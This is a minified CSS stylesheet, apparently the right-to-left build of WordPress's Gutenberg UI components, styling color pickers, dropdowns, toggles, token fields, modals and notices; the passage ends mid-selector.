.components-circular-option-picker__custom-clear-wrapper{display:flex;justify-content:flex-end;margin-top:12px}.components-circular-option-picker .components-circular-option-picker__swatches{display:flex;flex-wrap:wrap;gap:12px;position:relative;z-index:1}.components-circular-option-picker>:not(.components-circular-option-picker__swatches){position:relative;z-index:0}.components-circular-option-picker__option-wrapper{display:inline-block;height:28px;transform:scale(1);vertical-align:top;width:28px}@media not (prefers-reduced-motion){.components-circular-option-picker__option-wrapper{transition:transform .1s ease;will-change:transform}}.components-circular-option-picker__option-wrapper:hover{transform:scale(1.2)}.components-circular-option-picker__option-wrapper>div{height:100%;width:100%}.components-circular-option-picker__option-wrapper:before{background:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='28' height='28' fill='none'%3E%3Cpath fill='%23555D65' d='M6 8V6H4v2zm2 0V6h2v2zm2 8H8v-2h2zm2 0v-2h2v2zm0 2v-2h-2v2H8v2h2v-2zm2 0v2h-2v-2zm2 0h-2v-2h2z'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M18 18h2v-2h-2v-2h2v-2h-2v-2h2V8h-2v2h-2V8h-2v2h2v2h-2v2h2v2h2zm-2-4v-2h2v2z' clip-rule='evenodd'/%3E%3Cpath fill='%23555D65' d='M18 18v2h-2v-2z'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M8 10V8H6v2H4v2h2v2H4v2h2v2H4v2h2v2H4v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2v2h-2V4h-2v2h-2V4h-2v2h-2V4h-2v2h2v2h-2v2zm0 2v-2H6v2zm2 0v-2h2v2zm0 2v-2H8v2H6v2h2v2H6v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h-2v2h-2V6h-2v2h-2v2h2v2h-2v2z' clip-rule='evenodd'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M4 0H2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2H8V0H6v2H4zm0 4V2H2v2zm2 0V2h2v2zm0 2V4H4v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2H8v2z' clip-rule='evenodd'/%3E%3C/svg%3E");border-radius:50%;bottom:1px;content:"";left:1px;position:absolute;right:1px;top:1px;z-index:-1}.components-circular-option-picker__option{aspect-ratio:1;background:#0000;border:none;border-radius:50%;box-shadow:inset 0 0 0 14px;cursor:pointer;display:inline-block;height:100%!important;vertical-align:top}@media not (prefers-reduced-motion){.components-circular-option-picker__option{transition:box-shadow .1s ease}}.components-circular-option-picker__option:hover{box-shadow:inset 0 0 0 14px!important}.components-circular-option-picker__option[aria-pressed=true],.components-circular-option-picker__option[aria-selected=true]{box-shadow:inset 0 0 0 4px;overflow:visible;position:relative;z-index:1}.components-circular-option-picker__option[aria-pressed=true]+svg,.components-circular-option-picker__option[aria-selected=true]+svg{border-radius:50%;pointer-events:none;position:absolute;right:2px;top:2px;z-index:2}.components-circular-option-picker__option:after{border:1px solid #0000;border-radius:50%;bottom:-1px;box-shadow:inset 0 0 0 1px #0003;box-sizing:inherit;content:"";left:-1px;position:absolute;right:-1px;top:-1px}.components-circular-option-picker__option:focus:after{border:2px solid #757575;border-radius:50%;box-shadow:inset 0 0 0 2px #fff;content:"";height:calc(100% + 4px);position:absolute;right:50%;top:50%;transform:translate(50%,-50%);width:calc(100% + 4px)}.components-circular-option-picker__option.components-button:focus{background-color:initial;box-shadow:inset 0 0 0 14px;outline:none}.components-circular-option-picker__button-action .components-circular-option-picker__option{background:#fff;color:#fff}.components-circular-option-picker__dropdown-link-action{margin-left:16px}.components-circular-option-picker__dropdown-link-action .components-button{line-height:22px}.components-palette-edit__popover-gradient-picker{padding:8px;width:260px}.components-dropdown-menu__menu .components-palette-edit__menu-button{width:100%}.component-color-indicator{background:#fff linear-gradient(45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0);border-radius:50%;box-shadow:inset 0 0 0 1px #0003;display:inline-block;height:20px;padding:0;width:20px}.components-combobox-control{width:100%}input.components-combobox-control__input[type=text]{border:none;box-shadow:none;font-family:inherit;font-size:16px;line-height:inherit;margin:0;min-height:auto;padding:2px;width:100%}@media (min-width:600px){input.components-combobox-control__input[type=text]{font-size:13px}}input.components-combobox-control__input[type=text]:focus{box-shadow:none;outline:none}.components-combobox-control__suggestions-container{align-items:flex-start;border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;display:flex;flex-wrap:wrap;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;line-height:normal;padding:0;width:100%}@media not (prefers-reduced-motion){.components-combobox-control__suggestions-container{transition:box-shadow .1s linear}}@media (min-width:600px){.components-combobox-control__suggestions-container{font-size:13px;line-height:normal}}.components-combobox-control__suggestions-container:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-combobox-control__suggestions-container::-webkit-input-placeholder{color:#1e1e1e9e}.components-combobox-control__suggestions-container::-moz-placeholder{color:#1e1e1e9e}.components-combobox-control__suggestions-container:-ms-input-placeholder{color:#1e1e1e9e}.components-combobox-control__suggestions-container:focus-within{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-combobox-control__suggestions-container .components-spinner{margin:0}.components-color-palette__custom-color-wrapper{position:relative;z-index:0}.components-color-palette__custom-color-button{background:none;border:none;border-radius:4px 4px 0 0;box-shadow:inset 0 0 0 1px #0003;box-sizing:border-box;cursor:pointer;height:64px;outline:1px solid #0000;position:relative;width:100%}.components-color-palette__custom-color-button:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline-width:2px}.components-color-palette__custom-color-button:after{background-image:repeating-linear-gradient(45deg,#e0e0e0 25%,#0000 0,#0000 75%,#e0e0e0 0,#e0e0e0),repeating-linear-gradient(45deg,#e0e0e0 25%,#0000 0,#0000 75%,#e0e0e0 0,#e0e0e0);background-position:0 0,24px 24px;background-size:48px 48px;border-radius:3px 3px 0 0;content:"";inset:1px;position:absolute;z-index:-1}.components-color-palette__custom-color-text-wrapper{border-radius:0 0 4px 4px;box-shadow:inset 0 -1px 0 0 #0003,inset -1px 0 0 0 #0003,inset 1px 0 0 0 #0003;font-size:13px;padding:12px 16px;position:relative}.components-color-palette__custom-color-name{color:var(--wp-components-color-foreground,#1e1e1e);margin:0 1px}.components-color-palette__custom-color-value{color:#757575}.components-color-palette__custom-color-value--is-hex{text-transform:uppercase}.components-color-palette__custom-color-value:empty:after{content:"​";visibility:hidden}.components-custom-gradient-picker__gradient-bar{border-radius:2px;height:48px;position:relative;width:100%;z-index:1}.components-custom-gradient-picker__gradient-bar.has-gradient{background-image:repeating-linear-gradient(45deg,#e0e0e0 25%,#0000 0,#0000 75%,#e0e0e0 0,#e0e0e0),repeating-linear-gradient(45deg,#e0e0e0 25%,#0000 0,#0000 75%,#e0e0e0 0,#e0e0e0);background-position:0 0,12px 12px;background-size:24px 24px}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__gradient-bar-background{inset:0;position:absolute}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__markers-container{margin-left:auto;margin-right:auto;position:relative;width:calc(100% - 48px)}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-dropdown{display:flex;height:16px;position:absolute;top:16px;width:16px}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point-dropdown{background:#fff;border-radius:50%;color:#1e1e1e;height:inherit;min-width:16px!important;padding:2px;position:relative;width:inherit}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point-dropdown svg{height:100%;width:100%}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button{border-radius:50%;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #fff,0 0 2px 0 #00000040;height:inherit;outline:2px solid #0000;padding:0;width:inherit}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button.is-active,.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button:focus{box-shadow:inset 0 0 0 calc(var(--wp-admin-border-width-focus)*2) #fff,0 0 2px 0 #00000040;outline:1.5px solid #0000}.components-custom-gradient-picker__remove-control-point-wrapper{padding-bottom:8px}.components-custom-gradient-picker__inserter{direction:ltr}.components-custom-gradient-picker__liner-gradient-indicator{display:inline-block;flex:0 auto;height:20px;width:20px}.components-custom-gradient-picker__ui-line{position:relative;z-index:0}.block-editor-dimension-control .components-base-control__field{align-items:center;display:flex}.block-editor-dimension-control .components-base-control__label{align-items:center;display:flex;margin-bottom:0;margin-left:1em}.block-editor-dimension-control .components-base-control__label .dashicon{margin-left:.5em}.block-editor-dimension-control.is-manual .components-base-control__label{width:10em}body.is-dragging-components-draggable{cursor:move;cursor:grabbing!important}.components-draggable__invisible-drag-image{height:50px;position:fixed;right:-1000px;width:50px}.components-draggable__clone{background:#0000;padding:0;pointer-events:none;position:fixed;z-index:1000000000}.components-drop-zone{border-radius:2px;bottom:0;left:0;opacity:0;position:absolute;right:0;top:0;visibility:hidden;z-index:40}.components-drop-zone.is-active{opacity:1;visibility:visible}.components-drop-zone .components-drop-zone__content{align-items:center;background-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));bottom:0;color:#fff;display:flex;height:100%;justify-content:center;left:0;opacity:0;pointer-events:none;position:absolute;right:0;text-align:center;top:0;width:100%;z-index:50}.components-drop-zone .components-drop-zone__content-inner{opacity:0;transform:scale(.9)}.components-drop-zone.is-active.is-dragging-over-element .components-drop-zone__content{opacity:1}@media not (prefers-reduced-motion){.components-drop-zone.is-active.is-dragging-over-element .components-drop-zone__content{transition:opacity .2s ease-in-out}}.components-drop-zone.is-active.is-dragging-over-element .components-drop-zone__content-inner{opacity:1;transform:scale(1)}@media not (prefers-reduced-motion){.components-drop-zone.is-active.is-dragging-over-element .components-drop-zone__content-inner{transition:opacity .1s ease-in-out .1s,transform .1s ease-in-out .1s}}.components-drop-zone__content-icon,.components-drop-zone__content-text{display:block}.components-drop-zone__content-icon{line-height:0;margin:0 auto 8px;fill:currentColor;pointer-events:none}.components-drop-zone__content-text{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.components-dropdown{display:inline-block}.components-dropdown__content .components-popover__content{padding:8px}.components-dropdown__content .components-popover__content:has(.components-menu-group){padding:0}.components-dropdown__content .components-popover__content:has(.components-menu-group) .components-dropdown-menu__menu>.components-menu-item__button,.components-dropdown__content .components-popover__content:has(.components-menu-group)>.components-menu-item__button{margin:8px;width:auto}.components-dropdown__content [role=menuitem]{white-space:nowrap}.components-dropdown__content .components-menu-group{padding:8px}.components-dropdown__content .components-menu-group+.components-menu-group{border-top:1px solid #ccc;padding:8px}.components-dropdown__content.is-alternate .components-menu-group+.components-menu-group{border-color:#1e1e1e}.components-dropdown-menu__toggle{vertical-align:top}.components-dropdown-menu__menu{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:1.4;width:100%}.components-dropdown-menu__menu .components-dropdown-menu__menu-item,.components-dropdown-menu__menu .components-menu-item{cursor:pointer;outline:none;padding:6px;white-space:nowrap;width:100%}.components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator,.components-dropdown-menu__menu .components-menu-item.has-separator{margin-top:6px;overflow:visible;position:relative}.components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator:before,.components-dropdown-menu__menu .components-menu-item.has-separator:before{background-color:#ddd;box-sizing:initial;content:"";display:block;height:1px;left:0;position:absolute;right:0;top:-3px}.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-active .dashicon,.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-active svg,.components-dropdown-menu__menu .components-menu-item.is-active .dashicon,.components-dropdown-menu__menu .components-menu-item.is-active svg{background:#1e1e1e;border-radius:1px;box-shadow:0 0 0 1px #1e1e1e;color:#fff}.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-icon-only,.components-dropdown-menu__menu .components-menu-item.is-icon-only{width:auto}.components-dropdown-menu__menu .components-menu-item__button,.components-dropdown-menu__menu .components-menu-item__button.components-button{height:auto;min-height:40px;padding-left:8px;padding-right:8px;text-align:right}.components-duotone-picker__color-indicator:before{background:#0000}.components-duotone-picker__color-indicator>.components-button,.components-duotone-picker__color-indicator>.components-button.is-pressed:hover:not(:disabled){background:linear-gradient(45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0);color:#0000}.components-duotone-picker__color-indicator>.components-button:not([aria-disabled=true]):active{color:#0000}.components-color-list-picker,.components-color-list-picker__swatch-button{width:100%}.components-color-list-picker__color-picker{margin:8px 0}.components-color-list-picker__swatch-color{margin:2px}.components-external-link{text-decoration:none}.components-external-link__contents{text-decoration:underline}.components-external-link__icon{font-weight:400;margin-right:.5ch}.components-form-toggle{display:inline-block;height:16px;position:relative}.components-form-toggle .components-form-toggle__track{background-color:#fff;border:1px solid #949494;border-radius:8px;box-sizing:border-box;content:"";display:inline-block;height:16px;overflow:hidden;position:relative;vertical-align:top;width:32px}@media not (prefers-reduced-motion){.components-form-toggle .components-form-toggle__track{transition:background-color .2s ease,border-color .2s ease}}.components-form-toggle .components-form-toggle__track:after{border-top:16px solid #0000;box-sizing:border-box;content:"";inset:0;opacity:0;position:absolute}@media not (prefers-reduced-motion){.components-form-toggle .components-form-toggle__track:after{transition:opacity .2s ease}}.components-form-toggle .components-form-toggle__thumb{background-color:#1e1e1e;border:6px solid #0000;border-radius:50%;box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;box-sizing:border-box;display:block;height:12px;position:absolute;right:2px;top:2px;width:12px}@media not (prefers-reduced-motion){.components-form-toggle .components-form-toggle__thumb{transition:transform .2s ease,background-color .2s ease-out}}.components-form-toggle.is-checked .components-form-toggle__track{background-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-form-toggle.is-checked .components-form-toggle__track:after{opacity:1}.components-form-toggle .components-form-toggle__input:focus+.components-form-toggle__track{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff,0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000;outline-offset:2px}.components-form-toggle.is-checked .components-form-toggle__thumb{background-color:#fff;border-width:0;transform:translateX(-16px)}.components-disabled .components-form-toggle,.components-form-toggle.is-disabled{opacity:.3}.components-form-toggle input.components-form-toggle__input[type=checkbox]{border:none;height:100%;margin:0;opacity:0;padding:0;position:absolute;right:0;top:0;width:100%;z-index:1}.components-form-toggle input.components-form-toggle__input[type=checkbox]:checked{background:none}.components-form-toggle input.components-form-toggle__input[type=checkbox]:before{content:""}.components-form-toggle input.components-form-toggle__input[type=checkbox]:not(:disabled,[aria-disabled=true]){cursor:pointer}.components-form-token-field__input-container{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;cursor:text;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;line-height:normal;padding:0;width:100%}@media not (prefers-reduced-motion){.components-form-token-field__input-container{transition:box-shadow .1s linear}}@media (min-width:600px){.components-form-token-field__input-container{font-size:13px;line-height:normal}}.components-form-token-field__input-container:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-form-token-field__input-container::-webkit-input-placeholder{color:#1e1e1e9e}.components-form-token-field__input-container::-moz-placeholder{color:#1e1e1e9e}.components-form-token-field__input-container:-ms-input-placeholder{color:#1e1e1e9e}.components-form-token-field__input-container.is-disabled{background:#ddd;border-color:#ddd}.components-form-token-field__input-container.is-active{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-form-token-field__input-container input[type=text].components-form-token-field__input{background:inherit;border:0;box-shadow:none;color:#1e1e1e;display:inline-block;flex:1;font-family:inherit;font-size:16px;margin-right:4px;max-width:100%;min-height:24px;min-width:50px;padding:0;width:100%}@media (min-width:600px){.components-form-token-field__input-container input[type=text].components-form-token-field__input{font-size:13px}}.components-form-token-field.is-active .components-form-token-field__input-container input[type=text].components-form-token-field__input,.components-form-token-field__input-container input[type=text].components-form-token-field__input:focus{box-shadow:none;outline:none}.components-form-token-field__input-container .components-form-token-field__token+input[type=text].components-form-token-field__input{width:auto}.components-form-token-field__token{color:#1e1e1e;display:flex;font-size:13px;max-width:100%}.components-form-token-field__token.is-success .components-form-token-field__remove-token,.components-form-token-field__token.is-success .components-form-token-field__token-text{background:#4ab866}.components-form-token-field__token.is-error .components-form-token-field__remove-token,.components-form-token-field__token.is-error .components-form-token-field__token-text{background:#cc1818}.components-form-token-field__token.is-validating .components-form-token-field__remove-token,.components-form-token-field__token.is-validating .components-form-token-field__token-text{color:#757575}.components-form-token-field__token.is-borderless{padding:0 0 0 24px;position:relative}.components-form-token-field__token.is-borderless .components-form-token-field__token-text{background:#0000}.components-form-token-field__token.is-borderless:not(.is-disabled) .components-form-token-field__token-text{color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-form-token-field__token.is-borderless .components-form-token-field__remove-token{background:#0000;color:#757575;left:0;position:absolute;top:1px}.components-form-token-field__token.is-borderless.is-success .components-form-token-field__token-text{color:#4ab866}.components-form-token-field__token.is-borderless.is-error .components-form-token-field__token-text{color:#cc1818;padding:0 6px 0 4px}.components-form-token-field__token.is-borderless.is-validating .components-form-token-field__token-text{color:#1e1e1e}.components-form-token-field__remove-token.components-button,.components-form-token-field__token-text{background:#ddd;display:inline-block;height:auto;min-width:unset}@media not (prefers-reduced-motion){.components-form-token-field__remove-token.components-button,.components-form-token-field__token-text{transition:all .2s cubic-bezier(.4,1,.4,1)}}.components-form-token-field__token-text{border-radius:0 1px 1px 0;line-height:24px;overflow:hidden;padding:0 8px 0 0;text-overflow:ellipsis;white-space:nowrap}.components-form-token-field__remove-token.components-button{border-radius:1px 0 0 1px;color:#1e1e1e;line-height:10px;overflow:initial}.components-form-token-field__remove-token.components-button:hover:not(:disabled){color:#1e1e1e}.components-form-token-field__suggestions-list{box-shadow:inset 0 1px 0 0 #949494;flex:1 0 100%;list-style:none;margin:0;max-height:128px;min-width:100%;overflow-y:auto;padding:0}@media not (prefers-reduced-motion){.components-form-token-field__suggestions-list{transition:all .15s ease-in-out}}.components-form-token-field__suggestion{box-sizing:border-box;color:#1e1e1e;display:block;font-size:13px;margin:0;min-height:32px;padding:8px 12px}.components-form-token-field__suggestion.is-selected{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));color:#fff}.components-form-token-field__suggestion[aria-disabled=true]{color:#949494;pointer-events:none}.components-form-token-field__suggestion[aria-disabled=true].is-selected{background-color:rgba(var(--wp-components-color-accent--rgb,var(--wp-admin-theme-color--rgb)),.04)}.components-form-token-field__suggestion:not(.is-empty){cursor:pointer}@media (min-width:600px){.components-guide{width:600px}}.components-guide .components-modal__content{margin-top:0;padding:0}.components-guide .components-modal__content:before{content:none}.components-guide .components-modal__header{border-bottom:none;height:60px;padding:0;position:sticky}.components-guide .components-modal__header .components-button{align-self:flex-start;margin:8px 0 0 8px;position:static}.components-guide .components-modal__header .components-button:hover svg{fill:#fff}.components-guide .components-guide__container{display:flex;flex-direction:column;justify-content:space-between;margin-top:-60px;min-height:100%}.components-guide .components-guide__page{display:flex;flex-direction:column;justify-content:center;position:relative}@media (min-width:600px){.components-guide .components-guide__page{min-height:300px}}.components-guide .components-guide__footer{align-content:center;display:flex;height:36px;justify-content:center;margin:0 0 24px;padding:0 32px;position:relative;width:100%}.components-guide .components-guide__page-control{margin:0;text-align:center}.components-guide .components-guide__page-control li{display:inline-block;margin:0}.components-guide .components-guide__page-control .components-button{color:#e0e0e0;margin:-6px 0}.components-guide .components-guide__page-control li[aria-current=step] .components-button{color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-modal__frame.components-guide{border:none;max-height:575px;min-width:312px}@media (max-width:600px){.components-modal__frame.components-guide{margin:auto;max-width:calc(100vw - 32px)}}.components-button.components-guide__back-button,.components-button.components-guide__finish-button,.components-button.components-guide__forward-button{position:absolute}.components-button.components-guide__back-button{right:32px}.components-button.components-guide__finish-button,.components-button.components-guide__forward-button{left:32px}[role=region]{position:relative}.is-focusing-regions [role=region]:focus:after,[role=region].interface-interface-skeleton__content:focus-visible:after{bottom:0;content:"";left:0;pointer-events:none;position:absolute;right:0;top:0;z-index:1000000}.is-focusing-regions .editor-post-publish-panel,.is-focusing-regions .interface-interface-skeleton__actions .editor-layout__toggle-entities-saved-states-panel,.is-focusing-regions .interface-interface-skeleton__actions .editor-layout__toggle-publish-panel,.is-focusing-regions .interface-interface-skeleton__sidebar .editor-layout__toggle-sidebar-panel,.is-focusing-regions [role=region]:focus:after,.is-focusing-regions.is-distraction-free .interface-interface-skeleton__header .edit-post-header,[role=region].interface-interface-skeleton__content:focus-visible:after{outline-color:var(--wp-admin-theme-color);outline-offset:calc(((-1*var(--wp-admin-border-width-focus))/var(--wp-block-editor-iframe-zoom-out-scale, 1))*2);outline-style:solid;outline-width:calc((var(--wp-admin-border-width-focus)/var(--wp-block-editor-iframe-zoom-out-scale, 1))*2)}.components-menu-group+.components-menu-group{border-top:1px solid #1e1e1e;padding-top:8px}.components-menu-group+.components-menu-group.has-hidden-separator{border-top:none;margin-top:0;padding-top:0}.components-menu-group:has(>div:empty){display:none}.components-menu-group__label{color:#757575;font-size:11px;font-weight:500;margin-bottom:12px;margin-top:4px;padding:0 8px;text-transform:uppercase;white-space:nowrap}.components-menu-item__button,.components-menu-item__button.components-button{width:100%}.components-menu-item__button.components-button[role=menuitemcheckbox] .components-menu-item__item:only-child,.components-menu-item__button.components-button[role=menuitemradio] .components-menu-item__item:only-child,.components-menu-item__button[role=menuitemcheckbox] .components-menu-item__item:only-child,.components-menu-item__button[role=menuitemradio] .components-menu-item__item:only-child{box-sizing:initial;padding-left:48px}.components-menu-item__button .components-menu-items__item-icon,.components-menu-item__button.components-button .components-menu-items__item-icon{display:inline-block;flex:0 0 auto}.components-menu-item__button .components-menu-items__item-icon.has-icon-right,.components-menu-item__button.components-button .components-menu-items__item-icon.has-icon-right{margin-left:-2px;margin-right:24px}.components-menu-item__button .components-menu-item__shortcut+.components-menu-items__item-icon.has-icon-right,.components-menu-item__button.components-button .components-menu-item__shortcut+.components-menu-items__item-icon.has-icon-right{margin-right:8px}.components-menu-item__button .block-editor-block-icon,.components-menu-item__button.components-button .block-editor-block-icon{margin-left:8px;margin-right:-2px}.components-menu-item__button.components-button.is-primary,.components-menu-item__button.is-primary{justify-content:center}.components-menu-item__button.components-button.is-primary .components-menu-item__item,.components-menu-item__button.is-primary .components-menu-item__item{margin-left:0}.components-menu-item__button.components-button:disabled.is-tertiary,.components-menu-item__button.components-button[aria-disabled=true].is-tertiary,.components-menu-item__button:disabled.is-tertiary,.components-menu-item__button[aria-disabled=true].is-tertiary{background:none;color:var(--wp-components-color-accent-darker-10,var(--wp-admin-theme-color-darker-10,#2145e6));opacity:.3}.components-menu-item__info-wrapper{display:flex;flex-direction:column;margin-left:auto}.components-menu-item__info{color:#757575;font-size:12px;margin-top:4px;white-space:normal}.components-menu-item__item{align-items:center;display:inline-flex;margin-left:auto;min-width:160px;white-space:nowrap}.components-menu-item__shortcut{align-self:center;color:currentColor;display:none;margin-left:0;margin-right:auto;padding-right:24px}@media (min-width:480px){.components-menu-item__shortcut{display:inline}}.components-menu-items-choice,.components-menu-items-choice.components-button{height:auto;min-height:40px}.components-menu-items-choice svg,.components-menu-items-choice.components-button svg{margin-left:12px}.components-menu-items-choice.components-button.has-icon,.components-menu-items-choice.has-icon{padding-right:12px}.components-modal__screen-overlay{background-color:#00000059;bottom:0;display:flex;left:0;position:fixed;right:0;top:0;z-index:100000}@keyframes __wp-base-styles-fade-in{0%{opacity:0}to{opacity:1}}@media not (prefers-reduced-motion){.components-modal__screen-overlay{animation:__wp-base-styles-fade-in .08s linear 0s;animation-fill-mode:forwards}}@keyframes __wp-base-styles-fade-out{0%{opacity:1}to{opacity:0}}@media not (prefers-reduced-motion){.components-modal__screen-overlay.is-animating-out{animation:__wp-base-styles-fade-out .08s linear 80ms;animation-fill-mode:forwards}}.components-modal__frame{animation-fill-mode:forwards;animation-name:components-modal__appear-animation;animation-timing-function:cubic-bezier(.29,0,0,1);background:#fff;border-radius:8px 8px 0 0;box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005;box-sizing:border-box;display:flex;margin:40px 0 0;overflow:hidden;width:100%}.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before{box-sizing:inherit}@media not (prefers-reduced-motion){.components-modal__frame{animation-duration:var(--modal-frame-animation-duration)}}.components-modal__screen-overlay.is-animating-out .components-modal__frame{animation-name:components-modal__disappear-animation;animation-timing-function:cubic-bezier(1,0,.2,1)}@media (min-width:600px){.components-modal__frame{border-radius:8px;margin:auto;max-height:calc(100% - 120px);max-width:calc(100% - 32px);min-width:350px;width:auto}}@media (min-width:600px) and (min-width:600px){.components-modal__frame.is-full-screen{height:calc(100% - 32px);max-height:none;width:calc(100% - 32px)}}@media (min-width:600px) and (min-width:782px){.components-modal__frame.is-full-screen{height:calc(100% - 80px);max-width:none;width:calc(100% - 80px)}}@media (min-width:600px){.components-modal__frame.has-size-large,.components-modal__frame.has-size-medium,.components-modal__frame.has-size-small{width:100%}.components-modal__frame.has-size-small{max-width:384px}.components-modal__frame.has-size-medium{max-width:512px}.components-modal__frame.has-size-large{max-width:840px}}@media (min-width:960px){.components-modal__frame{max-height:70%}}@keyframes components-modal__appear-animation{0%{opacity:0;transform:scale(.9)}to{opacity:1;transform:scale(1)}}@keyframes components-modal__disappear-animation{0%{opacity:1;transform:scale(1)}to{opacity:0;transform:scale(.9)}}.components-modal__header{align-items:center;border-bottom:1px solid #0000;box-sizing:border-box;display:flex;flex-direction:row;height:72px;justify-content:space-between;padding:24px 32px 8px;position:absolute;right:0;top:0;width:100%;z-index:10}.components-modal__header .components-modal__header-heading{font-size:1.2rem;font-weight:600}.components-modal__header h1{line-height:1;margin:0}.components-modal__content.has-scrolled-content:not(.hide-header) .components-modal__header{border-bottom-color:#ddd}.components-modal__header+p{margin-top:0}.components-modal__header-heading-container{align-items:center;display:flex;flex-direction:row;flex-grow:1;justify-content:right}.components-modal__header-icon-container{display:inline-block}.components-modal__header-icon-container svg{max-height:36px;max-width:36px;padding:8px}.components-modal__content{flex:1;margin-top:72px;overflow:auto;padding:4px 32px 32px}.components-modal__content.hide-header{margin-top:0;padding-top:32px}.components-modal__content.is-scrollable:focus-visible{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000;outline-offset:-2px}.components-notice{align-items:center;background-color:#fff;border-right:4px solid var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));color:#1e1e1e;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;padding:8px 12px}.components-notice.is-dismissible{position:relative}.components-notice.is-success{background-color:#eff9f1;border-right-color:#4ab866}.components-notice.is-warning{background-color:#fef8ee;border-right-color:#f0b849}.components-notice.is-error{background-color:#f4a2a2;border-right-color:#cc1818}.components-notice__content{flex-grow:1;margin:4px 0 4px 25px}.components-notice__actions{display:flex;flex-wrap:wrap}.components-notice__action.components-button{margin-left:8px}.components-notice__action.components-button,.components-notice__action.components-button.is-link{margin-right:12px}.components-notice__action.components-button.is-secondary{vertical-align:initial}.components-notice__dismiss{align-self:flex-start;color:#757575;flex-shrink:0}.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):focus,.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):active,.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{background-color:initial;color:#1e1e1e}.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{box-shadow:none}.components-notice-list{box-sizing:border-box;max-width:100vw}.components-notice-list .components-notice__content{line-height:2;margin-bottom:12px;margin-top:12px}.components-notice-list 